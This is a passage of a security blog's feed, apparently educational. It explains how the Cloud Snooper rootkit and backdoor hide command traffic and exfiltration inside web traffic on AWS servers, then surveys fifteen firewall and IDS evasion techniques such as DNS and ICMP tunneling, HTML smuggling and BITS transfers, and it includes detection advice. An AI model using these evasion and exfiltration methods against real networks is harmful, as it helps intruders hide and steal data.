https://substackcdn.com/image/fetch/$s_!nQYW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ca0959f-21a1-4afb-ad67-fac8f7f6b2c8_1500x1000.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The attack exploits how cloud firewalls (AWS Security Groups) are configured and uses malware installed on the target server to secretly communicate with attackers while blending into normal web traffic.</p><div><hr></div><h2><strong>The Core Problem This Attack Exploits</strong></h2><p>Most web servers on AWS are configured to allow only two types of incoming traffic:</p><ul><li><p><strong>Port 80</strong>: HTTP (regular web traffic)</p></li><li><p><strong>Port 443</strong>: HTTPS (encrypted web traffic)</p></li></ul><p>This configuration is enforced by AWS Security Groups (SGs), which act as virtual firewalls controlling what traffic can reach your cloud instances. The Security Group checks every incoming packet and asks: &#8220;Is this going to port 80 or 443?&#8221; If yes, it allows it through. If no, it blocks it.</p><p>This seems secure, only web traffic gets in. But the Cloud Snooper attack turns this security measure into an opportunity.</p><div><hr></div><h2><strong>The Initial Compromise</strong></h2><p>The Cloud Snooper attack cannot happen without the attacker first compromising the target server and installing malware.</p><p>Before any C2 communication begins, attackers must gain access through traditional methods:</p><ul><li><p><strong>SSH brute-forcing</strong>: Guessing weak passwords on SSH (remote login) services</p></li><li><p><strong>Supply chain attacks</strong>: Compromising software updates or dependencies</p></li><li><p><strong>Exploiting vulnerabilities</strong>: Using security flaws in applications or traffic filters</p></li><li><p><strong>Phishing or credential theft</strong>: Tricking administrators into revealing access</p></li></ul><p>Once inside, the attacker installs two pieces of malware:</p><ol><li><p><strong>A rootkit</strong>: Stealth software that hides the attacker&#8217;s presence</p></li><li><p><strong>A backdoor/trojan</strong>: Software that executes the attacker&#8217;s commands</p></li></ol><p>Only after this installation is complete can the Cloud Snooper technique work.</p><div><hr></div><h2><strong>Key Malware Components</strong></h2><h3><strong>The Rootkit: The Stealth Engine</strong></h3><p>A rootkit is malware designed to remain hidden while providing privileged access. Think of it as an invisibility cloak for malicious software.</p><h4><strong>What it does:</strong></h4><ul><li><p><strong>Hides processes</strong>: Makes malicious programs invisible to system monitoring tools (you can&#8217;t see them in task manager equivalents)</p></li><li><p><strong>Hides network activity</strong>: Conceals suspicious network connections from detection tools</p></li><li><p><strong>Intercepts system calls</strong>: Modifies how the operating system reports information, essentially making it &#8220;lie&#8221; about what&#8217;s running</p></li><li><p><strong>Maintains persistence</strong>: Ensures the attacker&#8217;s access survives reboots and security scans</p></li><li><p><strong>Routes traffic internally</strong>: Acts as a traffic director, intercepting and redirecting network packets</p></li></ul><p>In Cloud Snooper, the rootkit has two components:</p><ul><li><p><strong>Listener</strong>: Monitors all incoming network traffic, watching for attacker communications</p></li><li><p><strong>Packet rewriter</strong>: Modifies network packets to route them to the right destination</p></li></ul><h3><strong>The Backdoor Trojan</strong></h3><p>The backdoor trojan is a separate program that actually performs the attacker&#8217;s instructions. It&#8217;s called a &#8220;trojan&#8221; because it masquerades as legitimate software while harboring malicious functionality.</p><h4><strong>What it does:</strong></h4><ul><li><p>Executes shell commands (like a remote terminal)</p></li><li><p>Steals credentials and access keys</p></li><li><p>Exfiltrates sensitive files and data</p></li><li><p>Conducts reconnaissance of the system</p></li><li><p>Facilitates lateral movement to other systems</p></li></ul><p><strong>Why separate from the rootkit?</strong></p><ul><li><p><strong>Modularity</strong>: The rootkit provides infrastructure (hiding, routing) while the trojan provides functionality (execution)</p></li><li><p><strong>Stability</strong>: Kernel-level rootkit code is complex; keeping command execution separate reduces crashes</p></li><li><p><strong>Flexibility</strong>: Attackers can update the trojan without touching the more dangerous rootkit installation</p></li></ul><div><hr></div><h2><strong>How the Attack Works</strong></h2><h3><strong>Step 1: Attacker Sends Disguised Commands</strong></h3><p>The attacker sends malicious command-and-control packets from their remote location to the compromised server. These packets are crafted to look exactly like normal web traffic:</p><ul><li><p><strong>Destination port</strong>: 80 or 443 (appearing as legitimate HTTP/HTTPS)</p></li><li><p><strong>Hidden commands</strong>: Embedded within what looks like normal web requests</p></li><li><p><strong>Magic bytes</strong>: Secret markers hidden in HTTP headers or payloads that identify this as attacker traffic (like a secret handshake)</p></li></ul><p>Example of what this might look like:</p><pre><code><code>Normal web request:
GET /index.html HTTP/1.1
Host: example .com

Attacker&#8217;s C2 packet (looks similar):
GET /index.html HTTP/1.1
Host: example .com
X-Session-ID: 41424344  &#8592; Magic bytes signaling &#8220;this is C2&#8221;
[Hidden command data in body]</code></code></pre><h3><strong>Step 2: AWS Security Group Allows Traffic Through</strong></h3><p>The AWS Security Group examines the incoming packet:</p><ul><li><p>Checks destination port, sees port 80 or 443</p></li><li><p>Compares against rules, web traffic is allowed</p></li><li><p>Allows packet through, it looks completely legitimate</p></li></ul><p>The Security Group isn&#8217;t compromised or broken, it&#8217;s simply doing its job. The attacker is exploiting the fact that the SG can only see basic packet information (ports, IPs) but cannot inspect the packet&#8217;s actual content to determine if it&#8217;s malicious.</p><h3><strong>Step 3: Rootkit Intercepts and Identifies the Packet</strong></h3><p>Here&#8217;s where the critical mechanism operates. The packet arrives at port 80 or 443 where the legitimate web server (like nginx or Apache) is listening. But before the web server can receive it, the rootkit intercepts it.</p><p><strong>How interception works:</strong> The rootkit is able to see traffic before applications receive it:</p><ul><li><p><strong>Kernel-level hooks</strong>: Code running in the operating system&#8217;s kernel that can intercept network packets</p></li><li><p><strong>Raw socket sniffing</strong>: Low-level network access that captures all packets, regardless of their destination</p></li><li><p><strong>Packet filtering libraries</strong> (like libpcap): Tools designed for network analysis that can capture traffic</p></li></ul><p>The rootkit examines every incoming packet looking for the magic bytes, the secret marker that identifies attacker C2 traffic. When it finds a match:</p><ul><li><p><strong>Regular traffic</strong>: Ignored, passed through to nginx normally</p></li><li><p><strong>C2 traffic with magic bytes</strong>: Intercepted and processed</p></li></ul><h3><strong>Step 4: The Demultiplexing Problem</strong></h3><p>Now the rootkit faces a challenge. It has identified an attacker&#8217;s command packet, but it can&#8217;t simply pass it to the backdoor trojan. Here&#8217;s why:</p><p><strong>The port conflict problem:</strong></p><ul><li><p>Port 80 is already <strong>bound</strong> by nginx (the legitimate web server)</p></li><li><p>&#8220;Binding&#8221; means nginx has told the operating system &#8220;I own port 80, send all port 80 traffic to me&#8221;</p></li><li><p>Only ONE program can bind to a port at a time</p></li><li><p>The backdoor trojan cannot also listen on port 80, it would create a conflict and fail</p></li></ul><p><strong>Why the trojan can&#8217;t just listen on port 80:</strong> If the trojan tried to bind to port 80:</p><ol><li><p>Operating system: &#8220;Error: Port 80 already in use by nginx&#8221;</p></li><li><p>Trojan fails to start</p></li><li><p>Attack doesn&#8217;t work</p></li></ol><p><strong>The solution: Demultiplexing</strong></p><p>Demultiplexing means taking a single input stream and routing it to multiple different destinations based on content.</p><p><strong>The rootkit performs demultiplexing:</strong></p><ol><li><p>All traffic arrives at port 80 (single entry point)</p></li><li><p>Rootkit identifies which traffic is for nginx vs. the trojan</p></li><li><p>Routes each packet to the appropriate destination</p></li></ol><h3><strong>Step 5: Rootkit Rewrites the Packet</strong></h3><p>To route the C2 packet to the trojan, the rootkit performs packet rewriting:</p><p><strong>Original packet:</strong></p><ul><li><p>Source port: [attacker&#8217;s random port]</p></li><li><p>Destination: [Server IP]:80</p></li></ul><p><strong>Rewritten packet:</strong></p><ul><li><p>Source port: <strong>1010</strong> (or 2020, 6060, 7070, 8080, 9999)</p></li><li><p>Destination: <strong>127.0.0.1:1010</strong></p></li></ul><p><strong>Why these changes?</strong></p><p><strong>Why change source port to 1010, 2020, etc.?</strong> These ports serve as internal routing codes:</p><ul><li><p>Different ports can signal different command types (multiplexing channels)</p></li><li><p>Port 1010 might mean &#8220;shell commands&#8221;</p></li><li><p>Port 2020 might mean &#8220;file exfiltration&#8221;</p></li><li><p>Port 8080 might mean &#8220;credential harvesting&#8221;</p></li></ul><p><strong>Why change destination to 127.0.0.1?</strong></p><ul><li><p>127.0.0.1 is the &#8220;local host&#8221; or &#8220;loopback&#8221; address, it means &#8220;this computer&#8221;</p></li><li><p>Traffic sent to 127.0.0.1 never leaves the machine</p></li><li><p>It&#8217;s for internal communication only</p></li></ul><p><strong>Why local host matters for stealth:</strong> The legitimate web server (nginx) binds to 0.0.0.0:80, meaning it listens on all network interfaces and is accessible from external networks. In contrast, the backdoor trojan binds to 127.0.0.1:1010, not 0.0.0.0:1010:</p><ul><li><p><strong>127.0.0.1:1010</strong> = only accessible from within the same machine</p></li><li><p><strong>0.0.0.0:1010</strong> = accessible from any network interface (internal or external)</p></li></ul><p>If the trojan used 0.0.0.0:1010:</p><ul><li><p>AWS Security Group would need a rule allowing port 1010 (suspicious)</p></li><li><p>Network monitoring would see an unusual listening port</p></li><li><p>Security scanners would detect it</p></li><li><p>External attackers could potentially access it directly</p></li></ul><p>By using 127.0.0.1:1010:</p><ul><li><p>Completely invisible to AWS Security Groups (internal traffic only)</p></li><li><p>No unusual external-facing ports</p></li><li><p>Only the rootkit can reach it</p></li><li><p>Maximum stealth</p></li></ul><h3><strong>Step 6: Trojan Receives and Executes Commands</strong></h3><p>The rewritten packet is re-injected into the network stack as if it were a new, local connection. The operating system sees:</p><ul><li><p>Packet to 127.0.0.1:1010</p></li><li><p>Checks: &#8220;Who&#8217;s listening on port 1010?&#8221;</p></li><li><p>Finds: Backdoor trojan</p></li><li><p>Delivers packet to trojan</p></li></ul><p>The trojan receives the command and executes it:</p><ul><li><p>Run system commands</p></li><li><p>Access files and databases</p></li><li><p>Steal credentials (SSH keys, AWS tokens)</p></li><li><p>Extract configuration files</p></li><li><p>Perform reconnaissance</p></li><li><p>Set up persistence mechanisms</p></li><li><p>Enable lateral movement to other systems</p></li></ul><h3><strong>Step 7: Trojan Sends Data to Rootkit</strong></h3><p>After collecting sensitive data, the trojan sends it back to the rootkit via local host connection. This internal transfer prepares the data for external exfiltration.</p><h3><strong>Step 8: Rootkit Exfiltrates Data</strong></h3><p>The rootkit receives data from the trojan and handles external transmission:</p><ul><li><p>Rootkit packages data: Embeds it in legitimate-looking HTTP/HTTPS responses</p></li><li><p>Blends with normal traffic: Exfiltrated data looks like regular web server responses</p></li><li><p>Passes through Security Group: Outbound traffic on ports 80/443 is typically allowed</p></li><li><p>Reaches attacker: Data extracted successfully without triggering alerts</p></li></ul><p>The entire exfiltration looks like normal web traffic, perhaps a large file download or API response.</p><div><hr></div><h2><strong>Why This Attack is Effective</strong></h2><p><strong>Bypasses Multiple Security Layers</strong></p><ol><li><p><strong>Cloud firewall (Security Group)</strong>: Traffic uses allowed ports (80/443)</p></li><li><p><strong>Network monitoring</strong>: Appears as legitimate HTTP/HTTPS traffic</p></li><li><p><strong>Process monitoring</strong>: Rootkit hides malicious processes</p></li><li><p><strong>Connection tracking</strong>: Uses local host connections (invisible externally)</p></li><li><p><strong>Port scanning</strong>: No suspicious external-facing ports</p></li></ol><p><strong>Maintains Persistent Access</strong></p><ul><li><p>Rootkit ensures survival across reboots</p></li><li><p>Communication can happen anytime attacker wants</p></li><li><p>Multiple command channels via different ports</p></li><li><p>Difficult to detect even with security tools</p></li></ul><p><strong>Blends with Normal Operations</strong></p><ul><li><p>Web servers naturally have high traffic on ports 80/443</p></li><li><p>Malicious packets hidden among thousands of legitimate requests</p></li><li><p>No unusual ports or protocols to alert defenders</p></li><li><p>Timing can match normal traffic patterns</p></li></ul><div><hr></div><h2><strong>Detection and Prevention</strong></h2><p><strong>Key defensive measures include:</strong></p><ul><li><p>Monitor for rootkit indicators (hidden processes, kernel modifications)</p></li><li><p>Inspect local host traffic (uncommon high ports like 1010, 2020)</p></li><li><p>Use endpoint detection tools that can detect kernel-level hooks</p></li><li><p>Implement application whitelisting</p></li><li><p>Monitor for unusual outbound data transfers</p></li><li><p>Regular security audits and vulnerability patching</p></li><li><p>Strong SSH security (no password auth, key-based only)</p></li><li><p>Supply chain security verification</p></li></ul><p>Cloud Snooper is an attack that exploits the gap between network-level security (Security Groups allowing ports 80/443) and host-level compromise (malware already installed). </p><p>It demonstrates that perimeter security alone is insufficient. Attackers who gain initial access can abuse legitimate traffic channels to maintain hidden, persistent control while evading detection. </p><p>The attack&#8217;s effectiveness lies in its simplicity: hide in plain sight by using the very ports that must remain open for legitimate business operations.</p>]]></content:encoded></item><item><title><![CDATA[Stealthy Hacking: IDS/Firewall Evasion Techniques for Ethical Hackers]]></title><description><![CDATA[Getting into a network is only half the battle. Staying undetected while you operate and exfiltrating data without triggering alerts is where skill matters.]]></description><link>https://darkmarc.substack.com/p/stealthy-hacking-idsfirewall-evasion</link><guid isPermaLink="false">https://darkmarc.substack.com/p/stealthy-hacking-idsfirewall-evasion</guid><dc:creator><![CDATA[Dark Marc]]></dc:creator><pubDate>Fri, 10 Oct 2025 05:15:35 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!2Fic!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d45e13-cbd8-409b-8a68-161ce2d6805f_1500x800.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Getting into a network is only half the battle.</strong> Staying undetected while you operate and exfiltrating data without triggering alerts is where skill matters. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2Fic!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d45e13-cbd8-409b-8a68-161ce2d6805f_1500x800.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2Fic!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d45e13-cbd8-409b-8a68-161ce2d6805f_1500x800.jpeg 424w, https://substackcdn.com/image/fetch/$s_!2Fic!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d45e13-cbd8-409b-8a68-161ce2d6805f_1500x800.jpeg 848w, https://substackcdn.com/image/fetch/$s_!2Fic!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d45e13-cbd8-409b-8a68-161ce2d6805f_1500x800.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!2Fic!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d45e13-cbd8-409b-8a68-161ce2d6805f_1500x800.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2Fic!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d45e13-cbd8-409b-8a68-161ce2d6805f_1500x800.jpeg" width="1456" height="777" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/70d45e13-cbd8-409b-8a68-161ce2d6805f_1500x800.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:777,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:158538,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/175774552?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d45e13-cbd8-409b-8a68-161ce2d6805f_1500x800.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!2Fic!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d45e13-cbd8-409b-8a68-161ce2d6805f_1500x800.jpeg 424w, https://substackcdn.com/image/fetch/$s_!2Fic!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d45e13-cbd8-409b-8a68-161ce2d6805f_1500x800.jpeg 848w, https://substackcdn.com/image/fetch/$s_!2Fic!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d45e13-cbd8-409b-8a68-161ce2d6805f_1500x800.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!2Fic!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d45e13-cbd8-409b-8a68-161ce2d6805f_1500x800.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>These techniques let you move through networks like a ghost, bypassing security controls and slipping past intrusion detection systems and firewalls silently.</p><div><hr></div><p><em>Writer&#8217;s note: This guide covers evasion strategies at a high level. If you want step-by-step technical guides, leave a comment and I&#8217;ll make them.</em></p><div><hr></div><h3><strong>1. Firewalking - Map allowed ports with TTL</strong></h3><p>Firewalking discovers which ports are open through a firewall without directly connecting to the target. It works by manipulating the Time-To-Live (TTL) value in packets so they expire right at or just beyond the firewall. When a packet&#8217;s TTL reaches zero, the router sends back an ICMP &#8220;time exceeded&#8221; message. </p><p>By incrementing TTL values and observing which ports generate responses versus silence, you can map the firewall&#8217;s rule set. </p><p>Tools like Firewalk and hping3 systematically probe port ranges to build a picture of what the firewall allows through. This technique is stealthier than direct port scanning because it leverages normal network diagnostic behavior that resembles traceroute traffic.</p><div><hr></div><h3><strong>2. Banner Grabbing - Identify vulnerable service versions</strong></h3><p>Banner grabbing extracts version information from network services by connecting to open ports and capturing the initial response headers they send. </p><p>When you connect to a web server, FTP server, SSH daemon, or mail server, it typically announces itself with a banner containing software name and version number. </p><p>Tools like netcat, telnet, and Nmap&#8217;s scripting engine can retrieve these banners. The information reveals patch levels and helps identify known vulnerabilities associated with specific software versions. </p><p>Advanced banner grabbing can fingerprint operating systems and service configurations without triggering intrusion detection signatures, since connecting to open services is normal network behavior.</p><div><hr></div><h3><strong>3. IP Address Spoofing - Appear as trusted source</strong></h3><p>IP spoofing involves forging the source address in packet headers to make traffic appear as if it originates from a trusted host rather than the attacker. Tools like Scapy and hping3 allow crafting packets with arbitrary source IPs. This can bypass IP-based access control lists and firewall rules that trust specific addresses. </p><p>The challenge is that response packets go to the spoofed address, not the attacker, making this primarily useful for denial-of-service attacks or when combined with network sniffing capabilities. </p><p>Some attackers use spoofing in conjunction with session hijacking, where they predict sequence numbers to insert themselves into ongoing connections.</p><div><hr></div><h3><strong>4. Source Routing - Bypass security checkpoints</strong></h3><p>Source routing exploits an IP option that lets the sender specify the exact path packets should take through a network. By designating specific routers as waypoints, attackers can potentially route traffic around security devices or through trusted network segments. </p><p>Loose source routing allows some flexibility in the path, while strict source routing mandates every hop. Modern networks typically disable source routing because of these security implications, but misconfigurations still exist. </p><p>Testing tools can verify whether routers honor source routing options, revealing potential paths that bypass firewalls or IDS sensors positioned on other network routes.</p><div><hr></div><h3><strong>5. Tiny Fragments - Evade packet inspection</strong></h3><p>Tiny fragmentation splits packets into unusually small pieces to evade intrusion detection systems that only inspect the first fragment or fail to properly reassemble fragmented traffic. By fragmenting TCP headers across multiple IP fragments, attackers can hide port numbers, flags, and payload signatures that IDS rules look for. </p><p>Some security devices have resource constraints that prevent them from tracking and reassembling all fragments, especially under heavy load. Tools like fragroute and Nmap&#8217;s fragmentation options create these tiny fragments. </p><p>Detecting this requires security devices to buffer and reassemble all fragments before inspection, which some older or misconfigured systems cannot do.</p><div><hr></div><h3><strong>6. IP Instead of URL - Circumvent web filters</strong></h3><p>Many web filters and content security systems operate by matching domain names against blacklists or categorization databases. </p><p>Accessing resources directly by IP address bypasses these URL-based controls. </p><p>The technique extends further by encoding IPs in alternative formats&#8212;decimal, octal, hexadecimal, or IPv6 representations that browsers understand but filters may not recognize. This works because the filter sees an IP address that isn&#8217;t in its URL database, while the browser resolves it to the same destination. </p><p>Application-layer filters focused on domain reputation completely miss IP-based access, making this effective against less sophisticated web security gateways.</p><div><hr></div><h3><strong>7. Proxy Server - Hide your real location</strong></h3><p>Routing traffic through proxy servers masks the attacker&#8217;s true origin and can bypass geographic restrictions, IP blacklists, and network monitoring. Proxy chains involve multiple proxy hops, making traffic attribution nearly impossible. </p><p>Tools like ProxyChains, Tor, and SSH dynamic port forwarding create these intermediary connections. SOCKS proxies can tunnel any TCP protocol, not just HTTP. For penetration testing, intercepting proxies like Burp Suite and OWASP ZAP sit between the tester and target, allowing traffic inspection and modification. </p><p>The proxy appears as the traffic source to the target, while the real attacker remains hidden behind potentially multiple layers of intermediaries.</p><div><hr></div><h3><strong>8. ICMP Tunneling - Exfiltrate data via ping</strong></h3><p>ICMP tunneling encapsulates data inside ICMP echo request and reply packets, which firewalls commonly allow for network diagnostics. Since ping is rarely blocked, it creates a covert channel for command execution and data exfiltration. </p><p>Tools like ptunnel and icmptunnel establish bidirectional communication by embedding TCP/IP traffic within ICMP payloads. Normal ping packets have standard sizes, so detection requires monitoring for anomalous ICMP traffic with unusual payload sizes or frequencies. </p><p>Attackers can throttle transmission rates to blend with legitimate network diagnostics. The technique is particularly effective in networks with strict firewall rules that only permit ICMP and DNS outbound.</p><div><hr></div><h3><strong>9. ACK/HTTP Tunneling - Tunnel blocked protocols in allowed traffic</strong></h3><p>ACK tunneling exploits how stateful firewalls handle TCP acknowledgment packets. By sending data in packets with only the ACK flag set, attackers leverage firewall assumptions that these belong to established connections. </p><p>Stateless firewalls and some stateful systems under load may allow ACK packets through without verifying the connection handshake occurred. HTTP tunneling wraps forbidden protocols like SSH or RDP inside HTTP requests and responses.</p><p>Since port 80/443 traffic is almost never blocked, tools like HTTPTunnel and Chisel create these encapsulated channels. The firewall sees normal web traffic while prohibited protocols tunnel through invisibly, defeating protocol-based blocking rules.</p><div><hr></div><h3><strong>10. SSH/DNS Tunneling - Encrypt covert communication channels</strong></h3><p>SSH tunneling creates encrypted channels that can carry any TCP protocol through SSH&#8217;s secure connection. Local, remote, and dynamic port forwarding options make internal services accessible from outside networks or vice versa. </p><p>DNS tunneling encodes data within DNS queries and responses, which are rarely filtered since DNS resolution is essential for network operation. Tools like Iodine and dnscat2 implement bidirectional DNS tunnels that support command execution and file transfer. </p><p>Each DNS query can carry small amounts of encoded data in subdomains, while responses contain encoded replies. Since DNS typically uses UDP and requires no connection establishment, it&#8217;s extremely difficult to block without breaking legitimate name resolution.</p><div><hr></div><h3><strong>11. External Systems - Pivot through trusted partners</strong></h3><p>Compromising external systems that have trust relationships with the target network provides an entry point that bypasses perimeter defenses. Partner organizations, vendors with VPN access, cloud service providers, and managed service providers often have privileged network access. </p><p>Tools like BloodHound map Active Directory trust relationships to identify these external connections. Exploiting a supplier&#8217;s weaker security to access a harder target is called &#8220;island hopping.&#8221; VPN concentrators, jump hosts, and cloud peering connections become pivot points for lateral movement. </p><p>Since the traffic originates from a trusted partner network, it bypasses IP whitelists and geographic restrictions that would block direct attacks.</p><div><hr></div><h3><strong>12. MITM Attack - Intercept and manipulate traffic</strong></h3><p>Man-in-the-Middle attacks position the attacker between communicating parties to intercept, read, and modify traffic without their knowledge. </p><p>A common technique uses DNS poisoning to redirect victims to attacker-controlled servers that impersonate legitimate destinations. When a user requests a legitimate domain, the compromised DNS server returns the attacker&#8217;s IP address instead of the real one. </p><p>The victim&#8217;s browser connects to the malicious server, which can harvest credentials, inject malicious code, or proxy the connection to the real server while capturing all traffic in between. ARP spoofing is another approach that poisons the local network&#8217;s address resolution tables, redirecting traffic through the attacker&#8217;s machine. </p><p>For HTTPS traffic, tools attempt to downgrade connections to unencrypted HTTP or present fraudulent certificates. This bypasses firewall and IDS protections because the traffic appears to originate from internal users making legitimate outbound connections to trusted domains. The attack evades detection since DNS resolution and normal web browsing are expected behaviors that security devices allow through.</p><div><hr></div><h3><strong>13. XSS Attack - Execute code on trusted sites</strong></h3><p>Cross-Site Scripting injects malicious JavaScript into trusted websites, which then executes in victims&#8217; browsers with the site&#8217;s privileges. The attacker&#8217;s code runs in the context of a legitimate domain, bypassing same-origin policies and content security restrictions. </p><p>Reflected XSS bounces malicious scripts off web servers in crafted URLs. Stored XSS permanently injects code into databases that executes for every user viewing the infected content. DOM-based XSS exploits client-side JavaScript processing. </p><p>Once executing, the malicious script can steal cookies, session tokens, and sensitive data, or use the victim&#8217;s browser to scan internal networks and make authenticated requests to internal resources that the external attacker couldn&#8217;t directly reach.</p><div><hr></div><h3><strong>14. HTML Smuggling - Bypass file scanning gateways</strong></h3><p>HTML smuggling constructs malicious files client-side using JavaScript rather than transmitting them across the network as complete files. The technique encodes executables as base64 strings within HTML or JavaScript, then uses browser APIs like Blob and createObjectURL to assemble and download the file in the victim&#8217;s browser. </p><p>Since email gateways and web proxies scan files crossing network boundaries, they never see the assembled executable&#8212;only HTML and encoded text that appears benign. Tools can prepare payloads and encode them for embedding. </p><p>Detection requires monitoring for suspicious JavaScript patterns, Blob object creation, and files appearing on disk without corresponding network downloads.</p><div><hr></div><h3><strong>15. Windows BITS - Transfer files via background service</strong></h3><p>Background Intelligent Transfer Service is a legitimate Windows component designed for downloading updates without disrupting user activity. </p><p>BITS operates at low priority, automatically pausing during user activity and resuming when idle, making transfers nearly invisible to users. </p><p>Jobs survive reboots and network interruptions, automatically resuming when connectivity returns. PowerShell and bitsadmin command-line tools create BITS jobs that download or upload files while appearing as normal Windows system traffic. </p><p>Since BITS uses the trusted svchost.exe process with Microsoft&#8217;s digital signature, it evades many security controls. </p><p>Detection requires monitoring BITS job creation, especially those initiated by non-system users or downloading from non-Microsoft domains.</p><div><hr></div><h2>Evasion: Be a Ghost in the Wire</h2><p>By mastering these techniques, you will become a skilled hacker who can move through networks undetected and use advanced methods to download or exfiltrate data without leaving traces.</p><p>These skills are especially valuable for ethical hackers because they provide insight into how attackers access systems and remain undetected. Firewalls and IDS/IPS systems must be continuously fine-tuned to keep pace with the latest attack techniques. <em>Happy hacking!</em></p>]]></content:encoded></item><item><title><![CDATA[The Complete Guide to Vulnerability Scanning (Ethical Hacking)]]></title><description><![CDATA[Scanning in ethical hacking is a three-step process that begins with identifying live hosts and open ports, then progresses into enumeration where we form active connections with the hosts to learn more about the attack surface.]]></description><link>https://darkmarc.substack.com/p/the-complete-guide-to-vulnerability-6e3</link><guid isPermaLink="false">https://darkmarc.substack.com/p/the-complete-guide-to-vulnerability-6e3</guid><dc:creator><![CDATA[Dark 